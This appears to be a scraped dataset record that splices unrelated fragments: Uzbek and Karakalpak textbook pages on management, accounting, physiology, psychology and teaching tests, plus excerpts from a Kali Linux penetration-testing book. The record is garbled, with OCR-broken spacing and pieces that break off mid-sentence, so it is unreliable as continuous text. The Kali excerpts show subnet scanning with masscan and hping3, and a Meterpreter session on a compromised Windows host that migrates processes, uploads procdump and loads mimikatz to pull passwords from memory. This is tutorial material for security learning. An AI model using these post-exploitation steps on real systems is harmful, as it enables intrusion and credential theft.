nyuuzyou/kompy huggingface dataset:
Menejer mehnatini tashkil etish mexanizmi

84
etilishi lozim.
Majlis qatnashchilari muhokama etilayotgan muammo bo’yicha yetarli
tajriba va bilimga ega bo’lishlari kerak. Majlisda ko’riladigan masalalar mavzusi
qatnashchilarga ular tayyorgarlik ko’rish uchun vaqtga ega bo’lishlari uchun
avvaldan e’lon qilinishi lozim.
Yig’ilish o’tkaziladigan sana, vaqt va joy avvaldan ko’rsatilishi lozim,
chunki uning qatnashchilari o’z ish vaqtlarini rejalashtirishlari kerak.
Yig’ilish rahbari avvaldan yig’ilish maqsadi va o’tkazilish shaklini belgilash
lozim.
Yig’ilish o’tkazilish tartibi, erkin, ishchan muhokama uchun sharoit yaratish
ham muhimdir.
Rahbarning ko’plab majburiyatlari ichida tashrif qiluvchilarni qabul qilish va
suhbat o’tkazishni alohida ajratib ko’rsatish lozim. Qo’l ortida ishlovchilar
tashabbusi bilan qabul qilish uchun alohida vaqt ajratish muhimdir, chunki
„ochiq eshiklar siyosati“ tashqaridan demokratik xususiyatga ega bo’lsada, ish
vaqtini noto’g’ri sarflashga olib keladi. Suhbat davomida rahbar savollar berish
yo’li bilan xodimlardan ular niyatini aniq bilib olishi, o’z iltimos yoki takliflarini
asoslab berishiga intilishi kerak. Agar suhbat rahbar tashabbusi bilan amalga
oshadigan bo’lsa, xodim suhbat vaqti va maqsadi haqida ma’lumotga ega
bo’lishi kerak. Bu xodimga masala mazmuni bo’yicha tayyorgarlik ko’rish
psixologik tanglikka duch kelmaslik uchun imkon yaratadi. Suhbat davomida
o’zaro ishonch muhitini yaratish u muvaffaqiyatli bo’lishiga imkoniyat beradi.
Bunda rahbar suhbat maqsadi va xodimning o’ziga xos xususiyatlarini hisobga
olishi kerak. Suhbat oxirida rahbar albatta muhokama etilgan masala bo’yicha
erishilgan natija va uni keyincha hal etish yo’llarini qayd qilib qo’yishi kerak.
Rahbar mehnati samaradorligining muhim omillaridan biri — qabul qilingan
qarorlarning bajarilishini nazorat qilishni tashkil etishdir. Nazorat rahbarning
doimiy vazifasi bo’lib, uning ish rejasida hisobga olinishi lozim hamda
materiallar bilan tanishuv, shaxsan ma’lumot berish uchun qabul qilish,
inspeksiya qilish yo’li bilan amalga oshiriladi. Nazorat qilishning qulay shakli
— topshiriqlarni maxsus muddatli kartochkalar va perfokartalar vositasida
hisobga olishdir.
Rahbar butun jamoa va boshqaruv apparati osoyishta ishlashi uchun sharoit
yaratishi lozim, chunki butun boshqaruv tizimi va natijada butun ishlab
chiqarish samaradorligi shu narsaga bog’liqdir.
Maǵlıwmattı qayta tiklew zárúrshiligi sebepleri

Maǵlıwmatlardı qayta tiklew usılları
Eger ǵalaba xabar jardemindegi maǵlıwmatlar qayta jazılǵan bolsa, ol jaǵdayda
olardı qayta tiklew (ǵárezsiz túrde) qandayda bir usıl menen ámelge asırilmaydi
hám hesh qanday programma buǵan járdem bermeydi. Tiykarlanıp eki usıl
isletiledi. Maǵlıwmattı qayta tiklew programması hár qıylı usıllardı qollaydı, biraq
jáne de rawajlanǵanları hám ekewi birgelikte.
1. Disktaǵı fayllar hám papkalar haqqında maǵlıwmat toplaw arqalı fayldı qayta
tiklew. Ol kóplegen járdem programmaları tárepinen isletiledi, sebebi ol túp atları,
waqıt, sáne, jol hám fayllar hám papkalarning pútkil dúzilisin qayta tiklaydi.
2. Túri yamasa qolı boyınsha skanerlew arqalı fayldı qayta tiklew. Eger birinshi
usıl kerekli nátiyjeni bermasa, isletiledi. Kóbirek fayllardı qayta tiklewge
múmkinshilik beredi, biraq disktaǵı fayllar hám papkalarning túp atları hám tolıq
dúzilisi joq.
Dawamı
Mısalı, kerekli fayldı qıdırıwda málim bir papkani ashıp, ol erda tapa
almaǵaningizdan keyin, fayl qanday da sebeplerge kóre óshirilgen dep qarar
etiwińiz múmkin. Mısalı, MS Word kóbinese jańa hújjetlerdi Meniń hújjetlerim
papkasında saqlawǵa háreket etedi. Biraq, kompyuterińizda bul at menen bir
neshe
papka bolıwı múmkin.
Bul jaǵdaylardıń hár birinde siz maǵlıwmatlardı qayta tiklew ushın etarli qurallar hám
usıllardan paydalanıwıńız kerek. Mısalı, kishkene tekstli fayl jaysha qayta teriliwi múmkin
hám sistema registrini qayta tiklew ushın operatsion sistemanı tolıq qayta
tiklew talap etiliwi
múmkin.
Sol sebepli, qayta tiklew procesin baslawdan aldın, tómendegi sorawlarǵa
juwap beriw
paydalı boladı.
Xarid byudjetini tayyorlash

10.5. Iste’molni aniqlash va tahlil qilish
M oddiy oqim larni sam arali boshqarishning m uhim sharti
b o iib , ehtiyojlarni oldindan ko ‘ra bilish hisoblanadi. U larni
aniqlash uchun quyidagi uslublar qoilaniladi:
— ishlab chiqarish rejasi va ishlab chiqarilayotgan mahsulot
o ‘ziga xos xususiyatlari bilan mos holda olib boriladigan hisobning
determ inant uslublari;
— hisobning statistik uslublari;
— mutaxassislarning xulosalariga tayangan holda subyektiv
baholash.
Yuqorida aytib o ‘tilgan usullar klassifikatsiyasi 10.2-rasmda
ko‘rsatilgan.
—
Miya qutisi - Yosh fiziologiyasi va gigienasi

|
Yosh fiziologiyasi va gigienasi
|
bet | 106/190 | Sana | 06.01.2024 | Hajmi | 4,48 Mb. | | #130993 |
Bog'liq Yosh fiziologiyasi va gigienasiMiya qutisi. Miya qutisi – bu boshning skeleti. Miya qutisining ikkita bo’limi farqlanadi. Miya yoki quti va yon tomon yoki yuz suyaklari. Miya qutisi bosh miya joylashgan joy hisoblanadi.
Bosh skeletining miya bo’limi tarkibiga juft bo’lmagan (ensa, qilichsimon, peshona va tursimon) va juft (tepa va chakka) suyaklar kiradi. Qilichsimon va to’rsimon suyaklar miya va yuz qismlari chegarasida joylashgan. Bosh suyagining barcha suyaklari harakatlanmaydigan holda birikkan. Chakka suyagining ichida eshitish organi joylashgan bo’lib, unga keng eshitish teshigi kiradi. Ensa suyagini katta teshigi orqali miya qutisi umurtqalar kanali bilan tutashadi.
Bosh suyagining yuz bo’limida ko’plab suyaklar juft bo’ladi. Yuqorigi jag’, burun, yosh, yonoq, tanglay va pastki burun rakovinalar. Uchta, juft bo’lmagan suyaklar soshnik, pastki jag’ va til osti suyaklari. Pastki jag’ – bosh suyagidagi yagona harakatlanadigan suyakdir.Bolalarning yosh paytlarida bosh suyagining miya qismi, yuz qismiga nisbatan ancha rivojlangan bo’ladi. Bosh suyaklari hayotning birinchi yilida juda jadal rivojlanadi. Bolani 13-14 yoshidan boshlab yuz bo’limi ancha tez rivojlanadi va miya bo’limidan ustun bo’ladi. Yangi tug’ilgan bolada miya qutisining hajmi yuz suyagi hajmidan 8 marta katta bo’lsa, voyaga yetgan odamlarda 2-2,5 marta katta bo’ladi.
Yangi tug’ilgan bolalarning bosh suyaklari bir-biri bilan biriktiruvchi to’qimali yupqa parda bilan tutashgan bo’ladi. Bu pardalarni soni bir necha suyaklar birikkan joyda yanada ko’proq bo’ladi. Bu –liqildoqdir.
Liqildoq har bir tepa suyaklarining burchaklari bo’ylab joylashgan bo’lib, juft bo’lmagan peshona va jag’ hamda juft oldingi yonbosh va keyingi yonbosh liqildoqlarni hosil qiladi. Liqildoq tufayli bosh suyagining ustki qismi o’zining qirralari bilan bir-biriga kirib turadi. Bunday holatda bo’lgan bosh suyagi bola tug’ilgan paytida uni tug’ish yo’llari orqali o’tishida muhim ahamiyatga ega.
Kichik liqildoqchalar 2-3 oylikga borgach bitadi, ayniqsa peshonaning liqildog’i juda yengil paypaslanadi va faqat bir yarim yashar bo’lgan paytdagina bitadi.
|
| |
"psixologiya" - bet 69

88
faoliyatining keyingi etapi chet elda kapitalizmning eng yukori pagonasi ya’ni
imperializm boskichiga utishi bilan xarakterlidir. Chunki bu jaraenda
rakobatning kuchayishi natijasida kapitalistlar ishchilar mexnat faoliyatining
usishi, foyda mikdorining kupayishi uchun bor kuchlarini ya’ni imkoni yatlarini
ishga soldilar.
Psixotexnikaning eng axamiyatli joyi shundaki, u kasb urganish va
mutaxassis tanlashdir. Bu bulimlarni urganishda ajoyib psixologik Gugo
Myunsterbergning ishlarini aytib utish joizdir. U mutaxassis tanlashda ya’ni
telefonchi, vagon etaklovchi, dengiz shturmanlari mutaxassisligi uchun maxsus
testlar ishlab chikdi. Uning bir ishi xammaning kizikishini uygotadi. U
tramvaychilar uchun ya’ni ularni tanlash uchun xarakat tezligini baxolash
ikkinchi tomomndan esa extietkorlik ekanligini ta’kidladi. Usha paytda ilmiy
laboratoriyalar bilan cheklanib kolmay, balki amaliet bilan boglanish shu
davrning ijobiy tomonlaridan biri edi.Bu tugrida xar xil maxsus jurnallarning
nashr kilinishi, xar xil psixotexnik kongresslarning tashkil etilishi buning anik
va yakkol misoli edi. Bizning mamlakatimizda psixotexnika laboratoriyalari 20-
yillarda rivojlandi.Chunki bu davrga kelib psixotexnika xakidagi bilimlar
ancha oshdi. Moskvada, Sankt-Peterburgga , Kozonda, Xarkovda 1-chi
laboratoriyalar paydo buldi. 1927 yilli Butun Rossiya psixotexniklar jamoasi
tuzildi va "Mexnat psixofizikasi va psixotexnika" jurnali nashr etildi. Bora-bora
yillar utgan sari psixotexnika rivojlanib, bu borada bilimlarimiz ancha oshdi.
-jadval 
Tayyorlangan mahsulotlar tannarxining hisob-kitobi

4.1-jadval Tayyorlangan mahsulotlar tannarxining hisob-kitobi Xarajat turlari
«A» Material
«B» Material
Haqiqiy
tannarx,
jami
Jami miqdori
(1000 kg)
1 kg
Jami miqdo-
riga (1000 kg)
1 kg
Shartnoma bahosi bo‘yicha
qiymati
20000
20,0
40000
40,0
60000
Transport-tayyorlov xarajatlari 1400
1,40 2800
2,80
4200
Haqiqiy tannarx bo‘yicha jami
21400
21,4
0
42800
42,80
64200
Yuqorida keltirilgan tannarx hisob-kitobida nafaqat sotib olingan Materiallar alohida
turlarining (21400 so‘m va 42800so‘m), balki bu Materiallar bir birligining (bir kg mos ravishda
21,40 so‘m va 42,80 so‘m) haqiqiy tannarxi to‘g‘risidagi ma’lumotlar keltirilgan.
Yuqorida keltirilgan muomalalarni analitik va sintetik hisob schotlarida chizma tarzida
quyidagicha aks ettirish mumkin:
Sintetik schotlarda aks ettirilishi
1010-«Xom-ashyo va Materiallar»
D-t K-t
6010-"Mol yetkazib beruvchilar va
pudratchilarga to‘lanadigan schotlar"
D-t K-t
1.04.ga qoldiq
100000
6) 9180
7) 55020
2) 61200
3) 3000
4) 60000
5110-«Hisob-kitob schoti
D-t K-t
4310-«TMQlar uchun mol yetkazib
beruvchilar va pudratchilarga berilgan
D-t bo‘naklar» K-t
S-do: 90000
1) 9180
7) 55020
1) 9180
6) 9180
1510-«Materiallarni tayyorlash va xarid qilish» schoti
Debet
Kredit
Muoma
la №
Shartnom
a bahosi
Transport
tayyorlov
xarajatlari
Haqiqiy
tannarxi
Muomala
№
Shartnom
a bahosi
Transport
tayyorlov
xarajatlari
Haqiqiy
tannarxi
1.04. ga
qoldiq.
-
-
-
2)
60000
1200
61200
4)
60000
-
60000
3)
-
3000
3000
5)
-
4200
4200
Oylik
oborot
60000
4200
64200
Oylik
oborot
60000
4200
64200
Trombotsitlar - Yosh fiziologiyasi va gigienasi

|
Yosh fiziologiyasi va gigienasi
|
bet | 137/190 | Sana | 06.01.2024 | Hajmi | 4,48 Mb. | | #130993 |
Bog'liq Yosh fiziologiyasi va gigienasi9.5. Trombotsitlar
Odamlarning trombositlari plazmatik hosila bo’lib shakli oval yoki yumaloq, diametri 2-5 mkm.ni tashkil etadi. Odamlardagi trombositlar yadroga ega emas va qizil ilikning gigant hujayralarining sitoplazmatik bo’laklari hisoblanadi. Elektron mikroskop ostida ipsimon o’simtalarga ega bo’lgan yulduzli hosilalar singari ko’rinishga ega bo’ladi.
Odamlarning 1 mm3 qonida 200 dan 400 minggacha trombositlar saqlanadi. Qon tarkibidagi trombositlarning miqdori o’zgarib turadi. Kunduz kuni ularning miqdori kechasidagidan ko’p bo’ladi. Og’ir jismoniy ishdan keyin trombositlarning miqdori 3-5 martaga ortadi.
Trombositlar ham qizil ilikda va taloqda hosil bo’ladi va ularning hayotining davomiyligi 5-7 kunni tashkil etib, parchalanishi taloqda kechadi.
Trombositlarning asosiy funksiyasi ular qonning ivishida ishtirok etishi bilan bog’liqdir. Qon tomirlari jarohatlanganda trombositlar parchalanadi. Bu paytda ulardan plazmaga qon laxtasi shakllanishi uchun zarur bo’lgan modda-tromb chiqadi. Trombositlarga xos bo’lgan xususiyatlardan biri, ularning begona va notekis yuzalarga yopishishi va qatma-qat bo’lib joylashish xususiyatidir (shish, jarohatlangan qon tomiri). Yorilgan trombositlarning plastinkalari bu paytda keskin o’z o’lchamida xuddi cho’ziladigan singari (5-10 marta) kattalashadi. Ular aylana yoki doira shaklidan, o’simtalari bilan yulduzsimon shaklni oladi. Maydagina qon tomirini jarohatlash bilan parchalangan trombositlarni plastinkalari juda tez yopishishida, bir joyga yig’iladi, bir-biriga yopishishadi va juda tez oq tromb hosil qiladi, o’ziga xos biologik tiqin qon oqishini to’xtashini ta’minlaydi. So’ngra bu tromb atrofiga fibrin iplari o’tiradi, ular bilan birga eritrositrositlar ham o’tiradi. Tromb asta-sekin o’z rangini o’zgartirib qizaradi. Odatda tromblarning hosil bo’lishi qon tomirlarini torayishi bilan birga kechadi. Bu jarayonni amalga oshishini qon plastinkalarining parchalanishida ajraladigan tomirlarni toraytiruvchi modda-serotonin ta’min etadi.
Ikki bosqichli yo’l bilan sentrifuga qilingan qon plazmasidan, eritrositlardan va leykositlardan trombositlarni ajratib olish imkoniga ega bo’lindi. Trombositlarni parchalanishini oldini olish uchun qonni sentrifuga qilishni sovuq joyda o’tkazish maqsadga muvofik, olingan oq plyonka shaklidagi trombositli massa, plyonkani maxsus konservatsiyalovchi eritmada saqlanadi. Trombositli massa tibbiyot amaliyotida qon oqishini to’xtatishda qo’llaniladi.
Yangi tug’ilgan bolalarning 1 mm3 qon tarkibida 150000 dan 350000 gacha, emadigan bolalarda – 150000 dan 424000 gacha trombositlar saqlanadi. 1 yoshdan 16 yoshgacha bo’lgan bolalarda 200 mingdan 300 minggacha trombositlar bo’ladi.
|
| |
High-Speed Scanning - Learning Kali Linux

masscan
can
take different parameters, but it accepts the ones that
nmap
also accepts.
If you know how to operate
nmap
, you can pick up
masscan
quickly. One difference
between
masscan
and
nmap
, which you can see in
Example 3-19
, is the need to spec‐
ify ports.
nmap
will assume a set of ports to use.
masscan
doesn’t assume any ports. If
you try to run it without
telling it which ports to scan, it will prompt you to specify
the ports you want to scan. In
Example 3-19
, you will see I set to scan the first 1,501
ports. If you were looking for all systems listening on port 443, meaning that system
was likely operating a TLS-based web server, you would specify that you wanted to
scan only port 443. Not scanning ports you don’t care
about will save you a lot of
time.
Example 3-19. High-speed scanning with masscan
root@rosebud:~# masscan -sS --ports 0-1500 192.168.86.0/24
Starting masscan 1.0.3
(
http://bit.ly/14GZzcT
)
at 2017-12-31 20:27:57 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning
256
hosts
[
1501
ports/host
]
Discovered open port 445/tcp on 192.168.86.170
Discovered open port 22/tcp on 192.168.86.30
Discovered open port 1410/tcp on 192.168.86.37
Discovered open port 512/tcp on 192.168.86.239
Discovered open port 445/tcp on 192.168.86.239
Discovered open port 22/tcp on 192.168.86.46
Discovered open port 143/tcp on 192.168.86.238
Discovered open port 1410/tcp on 192.168.86.36
Discovered open port 53/tcp on 192.168.86.1
Discovered open port 1400/tcp on 192.168.86.36
Discovered open port 80/tcp on 192.168.86.38
Discovered open port 80/tcp on 192.168.86.1
You can use a multipurpose utility for port scanning that will also give you some con‐
trol over the time interval between messages being sent. Whereas
masscan
uses an
asynchronous
approach to speed things up,
hping3
gives you the ability to specify the
gap between packets. This doesn’t give it the capacity to do really high-speed scan‐
ning, but
hping3
does have a lot of power to perform many other tasks.
hping3
allows
you to craft a packet with command-line switches. The challenge with using
hping3
as
a scanner is that it is really a hyperactive ping program and not a utility trying to re-
create what
nmap
and other scanners do.
However, if you want to perform scanning and probing against single hosts to deter‐
mine characteristics,
hping3
is an outstanding tool.
Example 3-20
is
a SYN scan
against 10 ports. The
-S
parameter tells
hping3
to set the SYN flag. We use the
-p
flag
to indicate the port we are going to scan. By adding the
++
to the
-p
flag, we’re telling
hping3
that we want it to increment the port number.
We can control the number of
Process Manipulation - Learning Kali Linux

Example 6-12. Migrating to the notepad.exe process
meterpreter > run post/windows/manage/migrate
[
*
]
Running module against VAGRANT-2008R2
[
*
]
Current server process: spoolsv.exe
(
984
)
[
*
]
Spawning notepad.exe process to migrate to
[
+
]
Migrating to 6092
[
*
]
New server process: notepad.exe
(
6092
)
meterpreter >
We can also look at dumping processes and recovering them.
This will provide us
with anything that may be in memory while the application is running and allow us
to extract passwords or other sensitive information. To do this, we’re going to
upload
the ProcDump utility from Microsoft’s SysInternals team.
We will get a dump file
from a running process that will capture not only the code of the program but also
the data from the running program. Before we can get the dump file, though, I have
procdump64.exe
staged on my Kali instance so I can upload it. In
Example 6-13
, you
can see
I upload the program I need, which will put it up to the compromised Win‐
dows system for use later. This required that I use the Meterpreter payload, so I had
the upload capability. Without it, I would have to resort to relying on other file trans‐
fer methods.
Example 6-13. Uploading a program using Meterpreter
meterpreter > upload procdump64.exe
[
*
]
uploading : procdump64.exe -> procdump64.exe
[
*
]
uploaded : procdump64.exe -> procdump64.exe
meterpreter > load mimikatz
Loading extension mimikatz...Success.
meterpreter > mimikatz_command -f handle::list
212
smss.exe -> 80
Process 288
csrss.exe
212
smss.exe -> 84
Process 456
lsm.exe
212
smss.exe -> 88
Process 348
csrss.exe
288
csrss.exe -> 80
Process 340
wininit.exe
288
csrss.exe -> 180
Process 432
services.exe
288
csrss.exe -> 208
Process 448
lsass.exe
288
csrss.exe -> 224
Process 456
lsm.exe
288
csrss.exe -> 336
Process 568
svchost.exe
288
csrss.exe -> 364
Process 332
spoolsv.exe
288
csrss.exe -> 404
Process 644
svchost.exe
288
csrss.exe -> 444
Process 696
svchost.exe
288
csrss.exe -> 516
Process 808
svchost.exe
288
csrss.exe -> 564
Process 868
svchost.exe
288
csrss.exe -> 588
Process 912
svchost.exe
You’ll see that after the program was uploaded, I loaded
mimikatz
again. While there
are other
ways to achieve what I need, I wanted to demonstrate this. The reason is we
Qisqaruvchanlik, muskullarning asosiy xususiyati ekanligi

|
Qisqaruvchanlik, muskullarning asosiy xususiyati ekanligi
|
bet | 109/190 | Sana | 06.01.2024 | Hajmi | 4,48 Mb. | | #130993 |
Bog'liq Yosh fiziologiyasi va gigienasiQisqaruvchanlik, muskullarning asosiy xususiyati ekanligi. Muskullarning asosiy fiziologik xususiyatlari bo’lib qo’zg’aluvchanlik, o’tkazuvchanlik va qisqaruvchanlik hisoblanadi. Muskullarning qisqaruvchanligi muskullarning kaltarishi yoki undagi kuchlanishni rivojlanishi paytida namoyon buladi. Eksperimentlar sharoitida yakka qo’zg’atuvchilar ta’siriga, muskullar yakka qisqarish bilan javob beradi. Odam va hayvonlar organizmidagi muskullar markaziy asab tizimidan alohida-alohida impulslar olmaydi, balki impulslar seriyasini oladi va buning natijasida muskullar kuchli va uzoq muddatli qisqarish bilan javob beradi. Muskullarning bunday qisqarishi tetanik yoki tatanus deb ataladi.
Muskullar qisqarish bilan ish bajaradi. Muskullarning ishi uning kuchiga bog’liq, ya’ni muskulda tolalar qancha ko’p bo’lsa muskul shuncha ko’p bo’ladi. U yo’g’on u shuncha kuchli bo’ladi. 1 sm2 ko’ndalang kesimga ega bo’lgan muskul 10 kg gacha yuk ko’tarishga qodir.
Bundan tashqari muskullarning kuchi uni suyakga birikish xususiyatiga bog’liq. Suyaklar o’zlariga birikkan muskullar bilan birga o’ziga xos richaglar hisoblanadi, va musukllar richagni tayanch nuqtasidan uzoq va u birikkanda og’irlik kuchi tushadigan nuqtaga qancha yaqin tursa ular shuncha katta kuch rivojlantirishi mumkin.
Odamlar uzoq muddat bir holatda o’zlarini saqlab turishi mumkin. Bu muskullarning statik kuchlanishidir. Statik kuchlanishga tik turish, boshni tik holatda ushlab turish va boshqalar kiradi. Halqalarda, parallel bruslarda, ayrim mashqlarni bajarishda va ko’tarilgan shtangani ushlab turishda statik ishlar deyarlik barcha muskul tolalarida birdaniga bajarilishi bilan birga charchoqlik ham chaqiradi va tabiiyki bunday holat rivojlanuvchi charchash tufayli uzoq muddat davom etmaydi.
Dinamik ish paytida navbati bilan turli guruhlar muskullari qisqaradi. Dinamik ish bajaruvchi muskullar tez qisqaradi va katta kuchlanish bilan ish bajarish davomida tez charchaydi. Odatda, turli guruh muskullarini tolalari dinamik ish paytida navbati bilan qisqaradi, bu esa ularga uzoq muddat ish bajarish imkonini beradi. Asab tizimi muskullarini ishini boshqarish bilan ularni organizmni talabida – bajarilayotgan ishga moslashtiradi. Bunday jarayon muskullarga yuqori foydali ish koeffisiyentiga ega bo’lgan samarali ishlash imkonini beradi.
Muskullarning har bir turdagi faoliyatiga bir qator maqbul (o’rtacha) ritm tanlash mumkin va ish maksimal darajada bajariladigan, charchash esa sekin asta rivojlanadigan yuklamani o’lchamini tanlash mumkin.
Muskullarning ishi uning hayotiyligi uchun zarur bo’lgan shart-sharoitdir. Uzoq muddatli faoliyatsizlik ularni atrofiyaga uchrashini va ish bajarish qobiliyatini yo’qotadi. Mashqlar ya’ni uncha me’yoridan ortiq bo’lmagan muskullarning ishi, ularni hajm jihatidan ortishini, kuchini ko’payishini va ish qobiliyatini oshishini ta’minlaydi. Bu esa butun organizmni jismoniy rivojlanishi uchun muhim omillardan hisoblanadi.
|
| |
O‘quvchilarni baholash - Mavzu: Kirish. Adabiyot – ma’naviyatni yuksaltirish vositasi darsning maqsadi: a ta’limiy

|
Mavzu: Kirish. Adabiyot – ma’naviyatni yuksaltirish vositasi darsning maqsadi: a ta’limiy
|
bet | 144/200 | Sana | 01.04.2021 | Hajmi | 325,51 Kb. | | #13866 |
O‘quvchilarni baholash: O‘quvchilar darsdagi ishtirokiga ko‘ra belgilangan baholash mezonlari asosida baholanadilar. Baholar o‘quvchilarning kundalik daftarlarida va sinf jurnalida aks ettiriladi. Darsda faol ishtirok etmagan o‘quvchilar bilan ishlanadi.
Uyga vazifa: o‘quvchilarga uyga vazifa sifatida mazkur mavzuni o‘qib-o‘rganish, qo‘shimcha materiallar izlab topish va tushunchalarini boyitish topshiriq qilib beriladi.
O‘TIBDO‘: _______ A.Azizov
Sana: “__” ___________ 201__-yil. Sinflar: 11-“_____”. O‘qituvchi: S.Nuriddinov
|
| |
jaraenida xam psixologik amaliy faoliyat davomida talab 
kilinadigan shaxsiy sifatlar rivojlanishi mumkin texnologiyasi va texnik

90
urganish ulardan mexnatda va ishchi shaxsini shakllantirishning foydalanish
printsiplarini ishlab chikardi bu bilan umumiy psixologiya fanni boyitadi.
Mehnat psixologiyasi mustakil soxa sanaladigan sotsial psixologiya bilan xam
uzviy boglangandir. Mehnat psixologiyasi uz tarakkieti davomida mexnat
xakida kupgina psixologik bilimlarni tupladi va muayyan sistemaga keltirdi.
Mehnat jaraenida ulardan okilona mexnatkashlar ish laekati va mexnatni
unumdorligini oshirishda katta samara beradi. Shuning uchun xozirgi sharoitda
mexnat psixologiyasi tugrisidagi bilimlarni tuplovchi va sistemalovchi fannigina
emas va ishlab chikarish kuchlaridan biri bulib xam koldi.Mehnat
psixologiyasi predmetining uzlashtirilishini tekshirish.
Juwmaqlaw - Ózbek tili ham shet tilleri kafedrası it-servis baǵdarı 1-kurs 306-23 topar studenti Qudaybergenova...

|
Ózbek tili ham shet tilleri kafedrası it-servis baǵdarı 1-kurs 306-23 topar studenti Qudaybergenova Jamilanın' Akademiyaliq jaziw páninen
|
bet | 2/2 | Sana | 05.06.2024 | Hajmi | 59,17 Kb. | | #260447 |
Bog'liq IKT tarawındaǵı terminologikalıq sózlikler tuwralı maǵlumatJuwmaqlaw
Eń sońǵı informacion-kommunikaciya texnologiyaları zamanagóy insannıń ómirinde barǵan sayın kóbirek orın iyelep atır. Olardan shet tili sabaqlarında paydalanıw oqıwshılardıń ǵayratı hám bilim aktivligin asıradı, dúnyaǵa kóz qarasın keńeytiredi hám shet tilin interaktiv oqıtıw ushın shaxsqa jóneltirilgen texnologiyalardan paydalanıwǵa múmkinshilik beredi, yaǵnıy óz-ara munasábetlerde úyreniw.
Oqıw processinde informacion-kommunikaciya texnologiyalarınan paydalanıw tálimdi jedellestiriw hám individuallastırıwǵa járdem beredi, pánge qızıǵıwshılıqtı asırıwǵa járdem beredi hám sub'ektiv bahalawdan shaǵılısıwǵa múmkinshilik beredi.
Házirgi kúnde qaraqalpaq tili leksikasınıń tez hám ózgeriwsheń aktiv qatlamın IKT terminologiyasi tarawına tiyisli leksik birlikler quraydı. IKT salasındaǵı terminlerdi kompyuter hám kompyuterler klasısız oyda sawlelendirip bolmaydı.
Paydalanılǵan ádebiyatlar
1. Ǵaniyev S. K. ,Karimov M. М., Tashev К. А. АХBOROT XAVFSIZLIGI Toshkent 07
2. S.S. Qosimov Axborot texnologiyalari xaqida óquv qóllanma Toshkent 07
3. Ǵaniyev S.K.Karimov M.М. Hisoblash tizimlari va tarmoqlarida axborot xavfsizligi TDTU 03
4. http://www.kaspersky.ru/
5. http://www.viruslist.ru/
|
|
Bosh sahifa
Aloqalar
Bosh sahifa
Ózbek tili ham shet tilleri kafedrası it-servis baǵdarı 1-kurs 306-23 topar studenti Qudaybergenova Jamilanın' Akademiyaliq jaziw páninen
|
Service Scanning | 111 - Learning Kali Linux

been sent, a blank line tells the remote server that the headers are done, at which
point it starts sending the response.
Example 3-24. Using nc to interact with a web server
root@rosebud:~# nc 192.168.86.1 80
GET / HTTP/1.1
Host: 192.168.86.1
HTTP/1.1
200
OK
Connection: Keep-Alive
Content-Length: 7597
Content-Type: text/html
Date: Mon,
01
Jan
2018
03:55:36 GMT
The output
here shows just the headers, though they were followed by the HTML for
the page that was requested.
One advantage to using
nc
over
telnet
is that netcat can
be used to set up a listener. This means you can create a
sink to send network traffic
to. You could use it to just collect data from anyone who makes a connection to what‐
ever port you have it set to listen on. Additionally,
telnet
uses TCP.
By default,
nc
also
uses TCP, but you can have
nc
use UDP. This can allow you to interact with any serv‐
ices that use UDP as the transport layer.
Summary
Information gathering will help your later work. It can also be used to turn up poten‐
tial vulnerabilities in the sense of information leakage.
Spending time information
gathering can pay off, even if you really just want to get to the exploitation. The fol‐
lowing are some important ideas to take away from this chapter:
• You can use openly available sources to acquire information about targets.
• You can use Maltego to automatically gather openly available information.
• Tools like theHarvester can be used to automatically
gather details about email
addresses and people.
• The Domain Name System (DNS) can contain a lot of details about a target orga‐
nization.
• Regional Internet Registries (RIRs) can be a source of a lot of details about IP
addresses and who owns them.
• The
nmap
program can be used for port scanning as well
as for gathering details
about operating systems and application versions.
• Port scans are ultimately a way to find applications listening on those ports.
Aniq vaziyatlarni o`rganish, tahlil qilish asosida o`qitishni amalga oshirishga qaratilgan metod hisoblanadi

|
Aniq vaziyatlarni o`rganish, tahlil qilish asosida o`qitishni amalga oshirishga qaratilgan metod hisoblanadi
|
bet | 304/372 | Sana | 16.12.2023 | Hajmi | 1,97 Mb. | | #120479 |
Bog'liq Barcha fanlardan Testlar to‘plami (1)Aniq vaziyatlarni o`rganish, tahlil qilish asosida o`qitishni amalga oshirishga qaratilgan metod hisoblanadi.* Keys stadi
Aniq hisob-kitoblarga asoslangan holda shaxsiy rejalarni tuza olish, fizikani o‘rganishda turli formulalar, grafiklardan foydalana olish, inson mehnatini engillashtiradigan, qulay shart-sharoitga olib keladigan fizika fanidagi va texnika yangiliklaridan foydalana olish quydagi qaysi tayanch kopetensiyaga tegishli ?* Matematik savodxonlik, fan va texnika yangiliklaridan xabardor bo‘lish hamda foydalanish kompetensiyasi:
Aqliy hujum metodi bu -* biror muammo bo‘yicha ta’lim oluvchilar tomonidan bildirilgan erkin fikr va mulohazalarni to‘plab, ular orqali ma’lum bir echimga kelinadigan metoddir.
Aqliy hujum metodining qanday shakllari mavjud?* Og‘zaki, yozma
Aqliy hujum metodining shakllari nechta?* 2 ta
Aqliy hujum necha bosqichda amalga oshiriladi?* 5
Aqliy hujum metodi bu –* biror muammo bo‘yicha ta’lim oluvchilar tomonidan bildirilgan erkin fikr va mulohazalarni to‘plab, ular orqali ma’lum bir echimga kelinadigan metoddir.
Aqliy hujum metodi qo‘llanilganda qanday qoidalar inobatga olinadi?1. Bildirilgan fikr-g‘oyalar muhokama qilinmaydi va baholanmaydi 2. Bildirilgan xar qanday fikr-g‘oyalar, ular xatto to‘g‘ri bo‘lmasa ham inobatga olinadi 3. Har bir ta’lim oluvchi qatnashishi shart. 4. Har bir ta’lim oluvchi baholanishi shart* 1,2,3
Aqliy hujum metodining kanday shakllari mavjud.?* og`zaki va yozma
Aqliy hujum metodining kamchiliklari to’gri ko’rsatilgan qatorni ko’rsating?
Aqliy hujum metodining mohiyati nimadan iborat?* Mavzu bo’yicha g’oyalar tanlash va g’oya yuzasidan o’quvchilarning fikrini aniqlash
Aqliy hujummetodining afzalligi nimada?* Aytilgan fikrlar tanqid qilnmaydi va baholanmaydi
Aqliy hujummetodining qanday shakllari mavjud? * og’zaki, yozma
Aqliy hujumusulini qo’llaganda o’quvchiga qanday imkoniyat beriladi?*Keng doirada fikrlashga
|
| |
Analitik schotlarda aks ettirilishi

xarajatlardan tashqari korxonada ishlab chiqarishni tashkil etish va boshqarish xarajatlari ham amalga
oshiriladi. Ular boshqaruv va xizmat ko‘rsatuvchi xodimlarning ish haqlari, binolarni isitish va
yoritish xarajatlari va boshqalardan iborat. Qilingan xarajatlarning pul ifodasidagi jami summasi
ishlab chiqarilgan mahsulotlarning tannarxini tashkil etadi.
